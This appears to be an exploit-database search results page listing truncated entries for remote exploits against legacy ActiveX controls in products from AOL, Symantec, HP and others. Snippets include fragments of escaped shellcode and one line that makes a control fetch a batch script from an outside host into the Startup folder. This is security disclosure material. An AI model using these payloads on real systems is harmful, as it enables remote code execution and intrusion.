68 matches found
Quest InTrust 10.4.x - Annotation Objects ActiveX Control 'AnnotateX.dll' Uninitialized Pointer Remote Code Execution
Quest InTrust 10.4.x Annotation Objects ActiveX Control AnnotateX.dll Uninitialized Pointer Remote Code Execution homepage: http://www.quest.com/intrust/ description: "InTrust securely collects, stores, reports and alerts on event log data from Windows, Unix and Linux systems, helping you comply...
2X ApplicationServer 10.1 - TuxSystem Class ActiveX Control Remote File Overwrite
2X ApplicationServer 10.1 - TuxSystem Class ActiveX Control Remote File Overwrite 2X ApplicationServer 10.1 TuxSystem Class ActiveX Control TuxScripting.dll ExportSettings Remote File Overwrite Vulnerability tested against: Microsoft Windows Server 2003 r2 sp2 Internet Explorer 8 vendor...
2X Client for RDP 10.1.1204 ClientSystem Class ActiveX Control Download
Exploit for windows platform in category remote exploits 2X Client for RDP 10.1.1204 ClientSystem Class ActiveX Control TuxClientSystem.dll InstallClient Download and Execute Vulnerability tested against: Microsoft Windows Vista SP2 Microsoft Windows Server 2003 r2 sp2 Internet Explorer 8 vendor...
2X Client For RDP 10.1.1204 Download / Execute
2X Client for RDP 10.1.1204 ClientSystem Class ActiveX Control TuxClientSystem.dll InstallClient Download and Execute Vulnerability tested against: Microsoft Windows Vista SP2 Microsoft Windows Server 2003 r2 sp2 Internet Explorer 8 vendor description: "2X Software is a global leader of desktop a...
Oracle DataDirect Multiple Native Wire Protocol ODBC Drivers HOST Attribute Stack Based Buffer Overflow Vulnerability
Oracle DataDirect Multiple Native Wire Protocol ODBC Drivers HOST Attribute Stack Based Buffer Overflow Vulnerability tested against: Microsoft Windows 2k3 r2 sp2 Oracle Hyperion Performance Management and BI v11.1.2.1.0 download url of the Oracle Hyperion suite:...
IDrive Online Backup ActiveX Control < 3.4.1 Arbitrary File Overwrite
The version of IDrive installed on the remote Windows host is earlier than 3.4.1 and includes a third-party ActiveX control named UniBasicPack.UniTextBox from CyberActiveX with an insecure method. Specifically, the 'SaveToFile' method can be abused to overwrite arbitrary files. Note that this...
AOL 9.1 SuperBuddy ActiveX Control SetSuperBuddy() remote code execution exploit
!-- AOL 9.1 SuperBuddy ActiveX Control SetSuperBuddy remote code execution exploit IE7/heap spray version by nine:situations:group::trotzkista Is possible to execute arbitrary code by setting the first argument to an overlong url and the second argument to a 16 bytes long string which overwrite...
AOL 9.1 SuperBuddy SetSuperBuddy() Code Execution
Set obj = CreateObject"Sb.SuperBuddy.1" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...
HP LoadRunner 9.5 File Creation
' http://retrogod.altervista.org/sh9232.txt , a batch script that starts calc.exe XUPLOADLib.Server = "retrogod.altervista.org" XUPLOADLib.Script = "sh9232.txt" ' place it in the Startup folder, italian path, change for your os Method="" Params="" Path="..\..\..\Documents and Settings\All...
EMC Captiva QuickScan Pro 4.6 SP1 and EMC Documentum ApllicationXtender Desktop 5.4 (keyhelp.ocx 1.2.312) - Remote Overflow
//executing calc scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" & unescape"%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34" & unescape"%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41" &...
Symantec Fax Viewer Control v10 (DCCFAXVW.DLL) remote buffer overflow exploit
!-- Symantec Fax Viewer Control v10 DCCFAXVW.DLL remote buffer overflow exploit IE7 by Nine:Situations:Group::trotzkista site: http://retrogod.altervista.org/ tested against: Symantec WinFax Pro 10.03 Internet Explorer 7, XP SP3 some details: CLSID: C05A1FBC-1413-11D1-B05F-00805F4945F6 Progid:...
Symantec Fax Viewer Control 10 (DCCFAXVW.DLL) Remote BOF Exploit
Exploit for windows platform in category remote exploits ================================================================ Symantec Fax Viewer Control 10 DCCFAXVW.DLL Remote BOF Exploit ================================================================ // win32exec - EXITFUNC=seh...
GeoVision LiveAudio - ActiveX Remote Freed-Memory Access
GeoVision LiveAudio - ActiveX Remote Freed-Memory Access // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...
SupportSoft DNA Editor Module (dnaedit.dll v6.9.2205) remote code execution exploit (IE6/7)
!-- SupportSoft DNA Editor Module dnaedit.dll v6.9.2205 remote code execution exploit IE6/7 by Nine:Situations:Group::bruiser vendor url: http://www.supportsoft.com/ our site: http://retrogod.altervista.org/ details: CLSID: 01110800-3E00-11D2-8470-0060089874ED Progid: Tioga.Editor.1 Binary Path:...
MW6 Barcode - ActiveX Barcode.dll Remote Heap Overflow (PoC)
MW6 Barcode - ActiveX Barcode.dll Remote Heap Overflow PoC ----------------------------------------------------------- Author : Houssamix ----------------------------------------------------------- MW6 Barcode ActiveX Barcode.dll Reamote Heap Overflow Poc...
NCTVideoStudio ActiveX DLLs 1.6 - Remote Heap Overflow (PoC)
----------------------------------------------------------- Author : Mountassif Mouad Stack ----------------------------------------------------------- NCTVideoStudio ActiveX DLLs Version 1.6 Reamote Heap Overflow Poc ----------------------------------------------------------- 000000C8 EBP+12...
Visagesoft eXPert PDF EditorX (VSPDFEditorX.ocx) Insecure Method
Exploit for unknown platform in category dos / poc ================================================================ Visagesoft eXPert PDF EditorX VSPDFEditorX.ocx Insecure Method ================================================================ VISAGESOFT eXPert PDF EditorX VSPDFEditorX.ocx INSECU...
Chilkat Crypt - ActiveX Arbitrary File Creation/Execution
----------------------------------------------------------------------------- Chilkat Crypt Activex Component Arbitrary File Creation/Execution url: http://www.chilkatsoft.com File: ChilkatCrypt2.dll CLSID: 3352B5B9-82E8-4FFD-9EB1-1A3E60056904 ProgID: ChilkatCrypt2.ChilkatCrypt2.1 Descr.: Chilkat...
Chilkat Crypt Activex Arbitrary File Creation/Execution PoC
Exploit for unknown platform in category remote exploits =========================================================== Chilkat Crypt Activex Arbitrary File Creation/Execution PoC ===========================================================...
Visagesoft eXPert PDF ViewerX - VSPDFViewerX.ocx File Overwrite
Visagesoft eXPert PDF ViewerX - VSPDFViewerX.ocx File Overwrite VISAGESOFT eXPertPDFViewerX VSPDFViewerX.ocx INSECURE METHOD SITE: http://www.visagesoft.com This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Author: Marco Torti mail:...